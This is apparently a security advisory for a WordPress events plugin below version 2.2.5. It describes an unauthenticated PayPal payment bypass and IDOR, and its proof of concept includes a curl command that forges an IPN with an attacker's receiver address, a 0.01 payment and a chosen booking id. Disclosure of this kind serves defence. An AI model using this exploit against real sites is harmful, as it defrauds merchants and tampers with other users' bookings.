WP Events Manager < 2.2.5 – Unauthenticated Payment Bypass and Booking Status Update via IDOR | CVE 2026-15148

Description

The plugin does not verify that an incoming payment notification originates from the site's configured merchant account, nor that the paid amount matches the booking total, allowing unauthenticated users to mark any booking as paid without a legitimate payment reaching the merchant, including other users' bookings.

Proof of Concept

Prerequisites:
- WP Events Manager active, PayPal gateway in use for a paid event.
- At least one booking in the "pending" state (the attacker's own booking, created by
  starting a paid registration, or a victim's pending booking whose numeric id is
  guessable/enumerable). {BOOKING_ID} below is that booking id.

The plugin's PayPal IPN handler runs on the site front page (init hook) for any
unauthenticated visitor. It marks the booking referenced in the attacker-controlled
`custom` field as paid whenever PayPal returns VERIFIED for the post-back, WITHOUT
checking that the payment's receiver is the site merchant or that the amount matches
the booking price. A real attacker obtains a genuine VERIFIED by paying a token amount
to a PayPal account THEY control, setting `custom` to the target booking id.

Send (equivalent to the IPN PayPal delivers for the attacker's own payment):

curl -sk -X POST 'https://victim.example/' \
  --data-urlencode 'txn_type=web_accept' \
  --data-urlencode 'payment_status=Completed' \
  --data-urlencode 'txn_id=<real txn id from the attacker-controlled payment>' \
  --data-urlencode 'mc_gross=0.01' \
  --data-urlencode 'mc_currency=USD' \
  --data-urlencode 'receiver_email=attacker@paypal.example' \
  --data-urlencode 'business=attacker@paypal.example' \
  --data-urlencode 'custom={"booking_id":{BOOKING_ID},"user_id":1}'

Result: booking {BOOKING_ID} transitions pending -> completed (marked paid). The wrong
receiver, the 0.01 underpayment, and the attacker-chosen booking id (IDOR) are all
accepted.